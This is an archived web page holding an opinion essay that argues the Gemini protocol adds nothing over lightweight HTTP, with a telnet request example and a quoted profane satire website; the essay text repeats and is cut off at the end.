<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://マリウス.com/gemini-is-solutionism-at-its-worst/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Gemini is Solutionism at its Worst</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://マリウス.com/gemini-is-solutionism-at-its-worst/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p class="post-content-excerpt">While I don’t care too much about ideas and projects that I believe to be | |||
dead ends or maybe even doomed to fail eventually, a recent interaction on | |||
<a href="https://マリウス.com/superhighway84">Superhighway84</a> got me to write down a few thoughts on | |||
why I believe Project Gemini is a really bad idea.</p> | |||
<div class="post-content-body"> | |||
<p>It all started with a simple post by someone on | |||
<a href="https://マリウス.com/superhighway84">Superhighway84</a> who shared a link to their Gemini site. While | |||
I was interested to see what that person was writing about and working on, I | |||
couldn’t, because that person did not share a HTTP link, with the Gemini URL | |||
as an alternative to it. Instead, it was only a Gemini URL.</p> | |||
<p>Up until a while ago, people were trying out Gemini and only used it as sort of | |||
a mirror for their HTTP content, meaning that everyone could browse their site | |||
one way or the other. However, it seems that more and more people these days | |||
have limited either all or parts of their publishing activity to Gemini. One | |||
better known example I stumbled upon is Drew DeVault, who has been publishing | |||
Gemini-exclusive content for a while now.</p> | |||
<p>As long as projects like Gemini don’t make it harder for people, that aren’t | |||
interested in them, to continue using the internet the way they’re comfortable | |||
with, I don’t have much of an opinion on them. However, with Gemini seemingly | |||
taking over more and more chunks of the things I consume, I felt like pointing | |||
out a few things about the project that I believe make it a really bad idea to | |||
pursue.</p> | |||
<p>My reply to the person’s post on Superhighway84 was the following:</p> | |||
<blockquote> | |||
<p>Hey there,</p> | |||
<p>let me throw in some unpopular opinion, if I might.</p> | |||
<p>I understand where people promoting the smol web (a.k.a Gemini) are coming from | |||
and I feel the same pain on a daily basis. The modern web sucks. | |||
However, I feel like Gemini is <em>solutionism at its worst</em>. If you compare a | |||
single HTTP/1.1 request with a Gemini request you will find out that it’s not | |||
the protocol that’s the issue. HTTP can be made incredibly light. In fact, it | |||
can be so light that even embedded devices (e.g. Arduinos) these days know how | |||
to talk it.</p> | |||
<p>What Gemini is doing, is saying “we don’t need no videos, images, stylesheets, | |||
nor JavaScripts, because we want to have a lightweight web experience, so we | |||
throw all that crap out!”. Fine, sounds great. But why does it require a new | |||
protocol for that? Why couldn’t one simply build on top of existing HTTP | |||
infrastructure, throw away all the baggage and instead implement a new | |||
Content-Type, which existing browsers then could parse?</p> | |||
<p>Existing infrastructure could have been extended to offer a more lightweight | |||
experience of the web that doesn’t come with JS, CSS or anything else. People | |||
then could decide whether they want to go the extra mile of installing Lagrange | |||
or any other dedicated Gemini browser, or simply have a browser extension that | |||
would take care of rendering the Content-Type properly. But Gemini forces people | |||
into a completely different stack. Different servers. Different browsers. Heck, | |||
not even it’s “markdown” is actual markdown, because&mldr;</p> | |||
<blockquote> | |||
<p>There are actually many subtly different and incompatible variants of Markdown | |||
in existence, so unlike TLS all the different libraries are not guaranteed to | |||
behave similarly.</p> | |||
</blockquote> | |||
<p>&mldr; and that’s why it’s obviously a good idea to introduce <strong>another</strong> variant | |||
of Markdown. Makes sense?</p> | |||
<p>Pretty much everything that is being described in the Gemini FAQ could have been | |||
solved on top of already existing protocols and technologies, making it more | |||
available to people. (<a href="https://gemini.circumlunar.space/docs/faq.gmi">https://gemini.circumlunar.space/docs/faq.gmi</a>)</p> | |||
<p>Also, Gemini is asking the wrong questions. For example:</p> | |||
<blockquote> | |||
<p>Why not just use a subset of HTTP and HTML?</p> | |||
</blockquote> | |||
<p>The question here shouldn’t be why not to use a subset of HTTP <em>and</em> HTML, but | |||
rather, why not build <em>on top of</em> HTTP with a different markup layer other than | |||
HTML. We have APIs using HTTP with JSON instead of HTML, for example.</p> | |||
<p>Hence, Gemini, its own text/gemini format, and most of its design choices are | |||
addressing problems that don’t really exist. It’s not significantly different to | |||
existing HTTP infrastructure to justify introducing a new protocol - and it even | |||
depends on it for e.g. offering large files for download.</p> | |||
<p>It’s also not IPFS or ZeroNet. It’s not a blockchain. It’s not bittorrent. It | |||
feels like the people working on/running Gemini infrastructure don’t want to | |||
actually solve the issues with the modern day web and instead just wanted to be | |||
different, for the sake of being different. But unlike for example DAT, that has | |||
truly been different, Gemini however follows the same outdated ideas and | |||
principles that have been around since the 80s and imposes restrictions on | |||
everything they’re not comfortable solving, e.g. file downloads or data | |||
submission.</p> | |||
<p>To me Gemini feels like today’s over-hyped computer version of Teletext.</p> | |||
</blockquote> | |||
<p>In order to make it clear what I mean by <em>building on top of existing HTTP | |||
infrastructure</em>, let me give an actual example.<br> | |||
When your web browser requests a website, it has to connect to the server | |||
hosting that website. That’s usually a TCP connection on port 80 or 443, | |||
depending on whether or not that website is using any sort of transport | |||
encryption. To keep it simple I’m not going into the details of SSL/TLS | |||
here, however, as it’s an encapsulation around the HTTP protocol, requesting | |||
content is identical no matter if the connection is encrypted or not.</p> | |||
<p>Let’s assume I’d like to browse | |||
<a href="http://motherfuckingwebsite.com">motherfuckingwebsite.com</a>. As soon as I enter | |||
the URL in my browser’s address bar, my browser is going to do pretty much the | |||
same that I’ll be doing here using the <code>telnet</code> command:</p> | |||
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh">telnet motherfuckingwebsite.com <span class="m">80</span> | |||
Trying 108.62.0.112... | |||
Connected to motherfuckingwebsite.com. | |||
Escape character is <span class="s1">'^]'</span>. | |||
GET /index.html HTTP/1.1 | |||
Host: motherfuckingwebsite.com | |||
</code></pre></div><p>That’s it. | |||
That’s the bare minimum that this server accepts in order for me to request | |||
the website from it. Most of the time however, browsers will send more | |||
information, like for example the <code>User-Agent</code>, the <code>Accept</code>, <code>Accept-Encoding</code> | |||
and <code>Accept-Language</code> headers, maybe some <code>Cache-Control</code> info, and more | |||
things, depending on which browser you use. While these bits of | |||
information are helping the communication, it’s not like requesting | |||
content without them wouldn’t work at all. The request that I typed into | |||
<code>telnet</code> does not contain any of these headers, yet the server successfully | |||
returns the website that I’m requesting, and even tells me how to interpret this | |||
response:</p> | |||
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh">HTTP/1.1 <span class="m">200</span> OK | |||
Connection: Keep-Alive | |||
Keep-Alive: <span class="nv">timeout</span><span class="o">=</span>5, <span class="nv">max</span><span class="o">=</span><span class="m">100</span> | |||
content-type: text/html | |||
last-modified: Sun, <span class="m">18</span> Jan <span class="m">2015</span> 00:04:33 GMT | |||
accept-ranges: bytes | |||
content-length: <span class="m">5108</span> | |||
date: Sun, <span class="m">16</span> Jan <span class="m">2022</span> 22:10:29 GMT | |||
server: LiteSpeed | |||
<!DOCTYPE html> | |||
<html> | |||
<head> | |||
<meta <span class="nv">charset</span><span class="o">=</span><span class="s2">"utf-8"</span>> | |||
<meta <span class="nv">name</span><span class="o">=</span><span class="s2">"viewport"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"width=device-width, initial-scale=1"</span>> | |||
<!-- FOR THE CURIOUS: This site was made by @thebarrytone. Don<span class="s1">'t tell my mom. --> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <title>Motherfucking Website</title> | |||
</span><span class="s1"></head> | |||
</span><span class="s1"> | |||
</span><span class="s1"><body> | |||
</span><span class="s1"> <header> | |||
</span><span class="s1"> <h1>This is a motherfucking website.</h1> | |||
</span><span class="s1"> <aside>And it'</span>s fucking perfect.</aside> | |||
</header> | |||
<h2>Seriously, what the fuck <span class="k">else</span> <span class="k">do</span> you want?</h2> | |||
<p>You probably build websites and think your shit is special. You think your <span class="m">13</span> megabyte parallax-ative home page is going to get you some fucking Awwward banner you can glue to the top corner of your site. You think your 40-pound jQuery file and <span class="m">83</span> polyfills give IE7 a boner because it finally has box-shadow. Wrong, motherfucker. Let me describe your perfect-ass website:</p> | |||
<ul> | |||
<li>Shit<span class="s1">'s lightweight and loads fast</li> | |||
</span><span class="s1"> <li>Fits on all your shitty screens</li> | |||
</span><span class="s1"> <li>Looks the same in all your shitty browsers</li> | |||
</span><span class="s1"> <li>The motherfucker'</span>s accessible to every asshole that visits your site</li> | |||
<li>Shit<span class="s1">'s legible and gets your fucking point across (if you had one instead of just 5mb pics of hipsters drinking coffee)</li> | |||
</span><span class="s1"> </ul> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h3>Well guess what, motherfucker:</h3> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>You. Are. Over-designing. Look at this shit. It'</span>s a motherfucking website. Why the fuck <span class="k">do</span> you need to animate a fucking trendy-ass banner flag when I hover over that useless piece of shit? You spent hours on it and added <span class="m">80</span> kilobytes to your fucking site, and some motherfucker jabbing at it on their iPad with fat sausage fingers will never see that shit. Not to mention blind people will never see that shit, but they don<span class="s1">'t see any of your shitty shit.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>You never knew it, but this is your perfect website. Here'</span>s why.</p> | |||
<h2>It<span class="s1">'s fucking lightweight</h2> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>This entire page weighs less than the gradient-meshed facebook logo on your fucking Wordpress site. Did you seriously load 100kb of jQuery UI just so you could animate the fucking background color of a div? You loaded all 7 fontfaces of a shitty webfont just so you could say "Hi." at 100px height at the beginning of your site? You piece of shit.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h2>It'</span>s responsive</h2> | |||
<p>You dumbass. You thought you needed media queries to be responsive, but no. Responsive means that it responds to whatever motherfucking screensize it<span class="s1">'s viewed on. This site doesn'</span>t care <span class="k">if</span> you<span class="s1">'re on an iMac or a motherfucking Tamagotchi.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h2>It fucking works</h2> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>Look at this shit. You can read it ... that is, if you can read, motherfucker. It makes sense. It has motherfucking hierarchy. It'</span>s using HTML5 tags so you and your bitch-ass browser know what the fuck<span class="s1">'s in this fucking site. That'</span>s semantics, motherfucker.</p> | |||
<p>It has content on the fucking screen. Your site has three bylines and link to your dribbble account, but you spread it over <span class="m">7</span> full screens and make me click some bobbing button to show me how cool the jQuery ScrollTo plugin is.</p> | |||
<p>Cross-browser compatibility? Load this motherfucker in IE6. I fucking dare you.</p> | |||
<h2>This is a website. Look at it. You<span class="s1">'ve never seen one before.</h2> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>Like the man who'</span>s never grown out his beard has no idea what his <span class="nb">true</span> natural state is, you have no fucking idea what a website is. All you have ever seen are shitty skeuomorphic bastardizations of what should be text communicating a fucking message. This is a real, naked website. Look at it. It<span class="s1">'s fucking beautiful.</p> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <h3>Yes, this is fucking satire, you fuck</h3> | |||
</span><span class="s1"> | |||
</span><span class="s1"> <p>I'</span>m not actually saying your shitty site should look like this. What I<span class="s1">'m saying is that all the problems we have with websites are <strong>ones we create ourselves</strong>. Websites aren'</span>t broken by default, they are functional, high-performing, and accessible. You <span class="nb">break</span> them. You son-of-a-bitch.</p> | |||
<blockquote <span class="nv">cite</span><span class="o">=</span><span class="s2">"https://www.vitsoe.com/us/about/good-design"</span>><span class="s2">"Good design is as little design as possible."</span><br> | |||
- some German motherfucker | |||
</blockquote> | |||
<hr> | |||
<h2>Epilogue</h2> | |||
<p>From the philosophies expressed <span class="o">(</span>poorly<span class="o">)</span> above, <a <span class="nv">href</span><span class="o">=</span><span class="s2">"http://txti.es"</span>>txti</a> was created. You should try it today to make your own motherfucking websites.</p> | |||
<!-- yes, I know...wanna fight about it? --> | |||
<script> | |||
<span class="o">(</span><span class="k">function</span><span class="o">(</span>i,s,o,g,r,a,m<span class="o">){</span>i<span class="o">[</span><span class="s1">'GoogleAnalyticsObject'</span><span class="o">]=</span>r<span class="p">;</span>i<span class="o">[</span>r<span class="o">]=</span>i<span class="o">[</span>r<span class="o">]||</span><span class="k">function</span><span class="o">(){</span> | |||
<span class="o">(</span>i<span class="o">[</span>r<span class="o">]</span>.q<span class="o">=</span>i<span class="o">[</span>r<span class="o">]</span>.q<span class="o">||[])</span>.push<span class="o">(</span>arguments<span class="o">)}</span>,i<span class="o">[</span>r<span class="o">]</span>.l<span class="o">=</span>1*new Date<span class="o">()</span><span class="p">;</span><span class="nv">a</span><span class="o">=</span>s.createElement<span class="o">(</span>o<span class="o">)</span>, | |||
<span class="nv">m</span><span class="o">=</span>s.getElementsByTagName<span class="o">(</span>o<span class="o">)[</span>0<span class="o">]</span><span class="p">;</span>a.async<span class="o">=</span>1<span class="p">;</span>a.src<span class="o">=</span>g<span class="p">;</span>m.parentNode.insertBefore<span class="o">(</span>a,m<span class="o">)</span> | |||
<span class="o">})(</span>window,document,<span class="s1">'script'</span>,<span class="s1">'//www.google-analytics.com/analytics.js'</span>,<span class="s1">'ga'</span><span class="o">)</span><span class="p">;</span> | |||
ga<span class="o">(</span><span class="s1">'create'</span>, <span class="s1">'UA-45956659-1'</span>, <span class="s1">'motherfuckingwebsite.com'</span><span class="o">)</span><span class="p">;</span> | |||
ga<span class="o">(</span><span class="s1">'send'</span>, <span class="s1">'pageview'</span><span class="o">)</span><span class="p">;</span> | |||
</script> | |||
</body> | |||
</html> | |||
</code></pre></div><p>On the other hand, according to its specification, a request on the Gemini | |||
protocol looks like this:</p> | |||
<blockquote> | |||
<p>2 Gemini requests</p> | |||
<p>Gemini requests are a single CRLF-terminated line with the following structure:</p> | |||
<p><URL><CR><LF></p> | |||
<p><URL> is a UTF-8 encoded absolute URL, including a scheme, of maximum length | |||
1024 bytes. The request MUST NOT begin with a U+FEFF byte order mark.</p> | |||
<p>Sending an absolute URL instead of only a path or selector is effectively | |||
equivalent to building in a HTTP “Host” header. It permits virtual hosting of | |||
multiple Gemini domains on the same IP address. It also allows servers to | |||
optionally act as proxies. Including schemes other than “gemini” in requests | |||
allows servers to optionally act as protocol-translating gateways to e.g. fetch | |||
gopher resources over Gemini. Proxying is optional and the vast majority of | |||
servers are expected to only respond to requests for resources at their own | |||
domain(s).</p> | |||
<p>Clients MUST NOT send anything after the first occurrence of <CR><LF> in a | |||
request, and servers MUST ignore anything sent after the first occurrence of a | |||
<CR><LF>.</p> | |||
</blockquote> | |||
<p>When comparing the most minimal version of an HTTP request with a standard | |||
Gemini request, it turns out that the only difference is a single additionally | |||
required header (<code>Host</code>) and a few additional characters (<code>GET</code> and <code>HTTP/1.1</code>) | |||
in the HTTP request. Hence, Gemini’s argument of being <em>“lighter than the web”</em> | |||
doesn’t make that much of a difference at all from a protocol perspective, and | |||
it certainly does not justify <strong>completely replacing existing infrastructure and | |||
standards that humans have mutually agreed upon</strong>.</p> | |||
<p><em>“But what about the response and the content?"</em>, you might be wondering. | |||
Well, it’s a similar story there. By default, regular HTTP servers will include | |||
all sorts of information in their response that will allow the browser to | |||
process it more easily/without a lot of <em>guesstimating</em>. However, it would | |||
nevertheless be possible to bend existing HTTP servers to only include the bare | |||
minimum additional info in their response, that would still allow a modern | |||
browser to process the data.</p> | |||
<p>As for the actual content, it is easily possible to configure a modern HTTP | |||
server like nginx to respond with nothing but pure Markdown. Users could then | |||
install either of the | |||
<a href="https://addons.mozilla.org/en-US/firefox/addon/markdown-viewer-webext/">dozens</a> | |||
of | |||
<a href="https://addons.mozilla.org/en-US/firefox/addon/markdown-viewer-chrome/">extensions</a> | |||
available for their web browser, to be able to visit the Markdown-only websites | |||
more comfortably. If Gemini would have gone that path, people interested in <em>the | |||
smol internet</em> would still be able to develop custom tailored clients that only | |||
work with these type of websites, and that would not include all the baggage that | |||
comes with any modern browser. Everybody else, on the other hand, could continue | |||
using the tools their familiar with and would still be able to to consume the | |||
content.</p> | |||
<p>Gemini instead opted for a different direction, which <strong>actively excludes people</strong>, | |||
while it <strong>does not deliver anything new nor beneficial</strong> that would justify | |||
dismissing existing standards and infrastructure in first place. Gemini is | |||
solutionism at its worst and is more about exclusion of the mainstream over | |||
bringing actual technological advancement, let alone fixing the issues it | |||
baselessly claims to be fixing. Gemini does not bring new ideas to the table, | |||
but instead uses decade old concepts from HTTP and Gopher, to implement a | |||
castrated and badly designed version of its own, just for the sake of it not | |||
being HTTP nor Gopher.</p> | |||
<blockquote> | |||
<p>To me, Gemini looks like a mix of Gopher and HTTP/0.9 and it’s a mystery to me | |||
why you would rather write a new protocol so similar to those rather than just | |||
stick to what already exists.<br> | |||
– <a href="https://curl.se/mail/lib-2020-11/0084.html">Daniel Stenberg, founder and lead developer of cURL</a></p> | |||
</blockquote> | |||
<p><em>“But&mldr; but&mldr; it takes user privacy <strong>very seriously</strong>?"</em><br> | |||
Okay, how so? Let’s quickly check the FAQ:</p> | |||
<blockquote> | |||
<p>2.1.2 Privacy</p> | |||
<p>Gemini is designed with an acute awareness that the modern web is a privacy | |||
disaster, and that the internet is not a safe place for plaintext. Things like | |||
browser fingerprinting and Etag-based “supercookies” are an important cautionary | |||
tale: user tracking can and will be snuck in via the backdoor using protocol | |||
features which were not designed to facilitate it. Thus, protocol designers must | |||
not only avoid designing in tracking features (which is easy), but also assume | |||
active malicious intent and avoid designing anything which could be subverted to | |||
provide effective tracking. This concern manifests as a deliberate | |||
non-extensibility in many parts of the Gemini protocol.</p> | |||
</blockquote> | |||
<p>Turns out, neither the FAQ nor the protocol precisely pin-point how exactly | |||
Gemini takes <em>privacy seriously</em>. They call out typical buzzwords like | |||
<em>supercookies</em> and <em>fingerprinting</em> and suggest that due to the protocol’s | |||
<em>non-extensibility</em> Gemini is more privacy-focused than the <em>modern web</em>. Then, | |||
on the other hand, Gemini users | |||
<a href="https://curl.se/mail/lib-2020-11/0083.html">write things like this</a>:</p> | |||
<blockquote> | |||
<ul> | |||
<li>Certificate verification. Gemini servers rarely use certificates with | |||
trust chain from certificates in /etc/ssl/certs; self-signed | |||
certificates are the norm. Option -k should be the default for gemini | |||
protocol.</li> | |||
</ul> | |||
</blockquote> | |||
<p>Ah yes, that is how <em>taking privacy seriously</em> looks like. Besides, what about | |||
the visitor’s IP address? Gemini servers can certaily see that. Nowhere in its | |||
official documentation Gemini seems to care about telling users this detail, let | |||
alone whether or not they’re able to browse via Tor or if there’s any client | |||
that would support Tor right out-of-the-box.</p> | |||
<p>Also, what if I wrote my own Gemini server – judging by its protocol that’s | |||
something one could do within a few hours – that would attach | |||
per-initial-request generated hashes to all links? | |||
Thereby, when a user visits my Gemini site, they would get a unique | |||
hash assigned, which would then be sent to my server every time they follow a | |||
link to a different subsite. I could track the user’s browsing behaviour across | |||
my site, just like HTTP sites do these days. If I store these requests, | |||
plus the IP address the user is coming from, I would already gather some | |||
interesting data points.<br> | |||
What if I would perform a quick investigation of the TCP/IP packets | |||
additionally? E.g. the initial packet size, the window- and segment-size, the | |||
initial TTL, individual flags? I could make my Gemini server use such | |||
fingerprinting techniques to gather more info and store that as well. If I’d | |||
be really up to something, I could have all sorts of additional checks and | |||
scans running for every new connection. Even if the user would connect through | |||
a NATted IP, I could eventually gain enough intel to be able to tell | |||
with relatively high confidence if a request was made by a visitor I’ve seen | |||
before or not, especially with such a small user-base (as compared to HTTP). | |||
Let alone all the still to be discovered exploits within individual client | |||
implementations, that might as well lead to potential privacy or even security | |||
risks.</p> | |||
<p>Bottom line is, if you agree that the modern web has become an awful place, | |||
let’s work on changing that for everyone, instead of abandoning it like a | |||
bunch of billionaires trying to escape to a different place, before this | |||
one collapses.</p> | |||
<p>The reason this website looks the way it does, is not because it follows the | |||
latest online trends, but because it’s everything that is required to efficiently | |||
transport information from me to you, using tools that we’re both familiar with, | |||
while staying out of both our ways.<br> | |||
If you don’t like how modern websites track their users and flood them with | |||
ads, then don’t do that on your website, contribute to projects like | |||
uBlock Origin, Privacy Badger and Tor, and stop using websites that <strong>do</strong> track | |||
their users or spam them with ads. | |||
If you don’t like JavaScript, don’t use it or use it in a way in which | |||
your site will still function even without it, and stop using websites that won’t | |||
even load without JavaScript enabled. | |||
If you’re not a fan of CSS, don’t use it, nobody forces you to style your HTML | |||
and most browsers include a fairly accessible default stylesheet. | |||
Heck, if you’re as much of a purist as the Gemini folks claim to be and don’t | |||
want neither videos nor images on your website, simply don’t put any there. | |||
<a href="http://motherfuckingwebsite.com">motherfuckingwebsite.com</a> is a perfect example | |||
of a website that uses none of all that while still functioning flawlessly.</p> | |||
<p>Ultimately, serving content solely via Gemini will only lead to it becoming | |||
<strong>less</strong> accessible and available to other people. Moving to Gemini is the | |||
opposite of inclusive, it’s exclusive. It’s a step in the wrong direction.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,342 @@ | |||
title: Gemini is Solutionism at its Worst | |||
url: https://マリウス.com/gemini-is-solutionism-at-its-worst/ | |||
hash_url: cb9e84580f4cb201995be13a7df2117b | |||
<p class="post-content-excerpt">While I don’t care too much about ideas and projects that I believe to be | |||
dead ends or maybe even doomed to fail eventually, a recent interaction on | |||
<a href="https://マリウス.com/superhighway84">Superhighway84</a> got me to write down a few thoughts on | |||
why I believe Project Gemini is a really bad idea.</p> | |||
<div class="post-content-body"> | |||
<p>It all started with a simple post by someone on | |||
<a href="https://マリウス.com/superhighway84">Superhighway84</a> who shared a link to their Gemini site. While | |||
I was interested to see what that person was writing about and working on, I | |||
couldn’t, because that person did not share a HTTP link, with the Gemini URL | |||
as an alternative to it. Instead, it was only a Gemini URL.</p> | |||
<p>Up until a while ago, people were trying out Gemini and only used it as sort of | |||
a mirror for their HTTP content, meaning that everyone could browse their site | |||
one way or the other. However, it seems that more and more people these days | |||
have limited either all or parts of their publishing activity to Gemini. One | |||
better known example I stumbled upon is Drew DeVault, who has been publishing | |||
Gemini-exclusive content for a while now.</p> | |||
<p>As long as projects like Gemini don’t make it harder for people, that aren’t | |||
interested in them, to continue using the internet the way they’re comfortable | |||
with, I don’t have much of an opinion on them. However, with Gemini seemingly | |||
taking over more and more chunks of the things I consume, I felt like pointing | |||
out a few things about the project that I believe make it a really bad idea to | |||
pursue.</p> | |||
<p>My reply to the person’s post on Superhighway84 was the following:</p> | |||
<blockquote> | |||
<p>Hey there,</p> | |||
<p>let me throw in some unpopular opinion, if I might.</p> | |||
<p>I understand where people promoting the smol web (a.k.a Gemini) are coming from | |||
and I feel the same pain on a daily basis. The modern web sucks. | |||
However, I feel like Gemini is <em>solutionism at its worst</em>. If you compare a | |||
single HTTP/1.1 request with a Gemini request you will find out that it’s not | |||
the protocol that’s the issue. HTTP can be made incredibly light. In fact, it | |||
can be so light that even embedded devices (e.g. Arduinos) these days know how | |||
to talk it.</p> | |||
<p>What Gemini is doing, is saying “we don’t need no videos, images, stylesheets, | |||
nor JavaScripts, because we want to have a lightweight web experience, so we | |||
throw all that crap out!”. Fine, sounds great. But why does it require a new | |||
protocol for that? Why couldn’t one simply build on top of existing HTTP | |||
infrastructure, throw away all the baggage and instead implement a new | |||
Content-Type, which existing browsers then could parse?</p> | |||
<p>Existing infrastructure could have been extended to offer a more lightweight | |||
experience of the web that doesn’t come with JS, CSS or anything else. People | |||
then could decide whether they want to go the extra mile of installing Lagrange | |||
or any other dedicated Gemini browser, or simply have a browser extension that | |||
would take care of rendering the Content-Type properly. But Gemini forces people | |||
into a completely different stack. Different servers. Different browsers. Heck, | |||
not even it’s “markdown” is actual markdown, because&mldr;</p> | |||
<blockquote> | |||
<p>There are actually many subtly different and incompatible variants of Markdown | |||
in existence, so unlike TLS all the different libraries are not guaranteed to | |||
behave similarly.</p> | |||
</blockquote> | |||
<p>&mldr; and that’s why it’s obviously a good idea to introduce <strong>another</strong> variant | |||
of Markdown. Makes sense?</p> | |||
<p>Pretty much everything that is being described in the Gemini FAQ could have been | |||
solved on top of already existing protocols and technologies, making it more | |||
available to people. (<a href="https://gemini.circumlunar.space/docs/faq.gmi">https://gemini.circumlunar.space/docs/faq.gmi</a>)</p> | |||
<p>Also, Gemini is asking the wrong questions. For example:</p> | |||
<blockquote> | |||
<p>Why not just use a subset of HTTP and HTML?</p> | |||
</blockquote> | |||
<p>The question here shouldn’t be why not to use a subset of HTTP <em>and</em> HTML, but | |||
rather, why not build <em>on top of</em> HTTP with a different markup layer other than | |||
HTML. We have APIs using HTTP with JSON instead of HTML, for example.</p> | |||
<p>Hence, Gemini, its own text/gemini format, and most of its design choices are | |||
addressing problems that don’t really exist. It’s not significantly different to | |||
existing HTTP infrastructure to justify introducing a new protocol - and it even | |||
depends on it for e.g. offering large files for download.</p> | |||
<p>It’s also not IPFS or ZeroNet. It’s not a blockchain. It’s not bittorrent. It | |||
feels like the people working on/running Gemini infrastructure don’t want to | |||
actually solve the issues with the modern day web and instead just wanted to be | |||
different, for the sake of being different. But unlike for example DAT, that has | |||
truly been different, Gemini however follows the same outdated ideas and | |||
principles that have been around since the 80s and imposes restrictions on | |||
everything they’re not comfortable solving, e.g. file downloads or data | |||
submission.</p> | |||
<p>To me Gemini feels like today’s over-hyped computer version of Teletext.</p> | |||
</blockquote> | |||
<p>In order to make it clear what I mean by <em>building on top of existing HTTP | |||
infrastructure</em>, let me give an actual example.<br> | |||
When your web browser requests a website, it has to connect to the server | |||
hosting that website. That’s usually a TCP connection on port 80 or 443, | |||
depending on whether or not that website is using any sort of transport | |||
